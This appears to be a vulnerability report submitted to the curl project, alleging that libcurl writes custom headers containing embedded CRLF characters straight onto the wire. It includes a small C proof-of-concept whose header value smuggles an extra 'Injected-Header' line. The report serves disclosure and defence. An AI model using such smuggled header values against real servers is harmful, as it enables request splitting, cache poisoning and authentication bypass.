curl · Report #3741744
CRLF Injection via Custom HTTP Headers
How it was found
Summary:
libcurl writes user-supplied custom headers directly into the HTTP request buffer without stripping \r\n characters. The raw input pointer origp in Curl_add_custom_headers() (lib/http.c) is serialized verbatim into the outgoing request using curlx_dyn_addf(req, "%s\r\n", origp) instead of using the already-parsed, newline-safe name and val components. This allows an attacker who can influence a header value passed via CURLOPT_HTTPHEADER to inject arbitrary HTTP headers.
Steps To Reproduce
-
Build a simple C program or use any language binding (PHP, Python, etc.)
-
Pass a header string containing an embedded \r\n via CURLOPT_HTTPHEADER:
‘ #include <curl/curl.h>
int main(void) { CURL *curl = curl_easy_init(); struct curl_slist *headers = NULL;
// Simulates attacker-controlled input in a header value
headers = curl_slist_append(headers,
"X-Custom: legitimate\r\nInjected-Header: evil-value");
curl_easy_setopt(curl, CURLOPT_URL, "http://httpbin.org/get");
curl_easy_setopt(curl, CURLOPT_HTTPHEADER, headers);
curl_easy_perform(curl);
curl_slist_free_all(headers);
curl_easy_cleanup(curl);
return 0;
}’
-
Capture the outgoing request with Wireshark or a netcat listener (nc -l 8080)
-
Observe that Injected-Header: evil-value appears as a separate header in the raw Http request
Expected Result: libcurl should reject or strip \r\n from header strings, or return an error when such characters are detected
Actual Result: The injected content appears as a fully formed separate HTTP header on the wire.
Impact
Impacts:
An application that passes any user-influenced data into CURLOPT_HTTPHEADER without pre-sanitizing \r\n is vulnerable to header injection, request splitting, authentication bypass, and cache poisoning.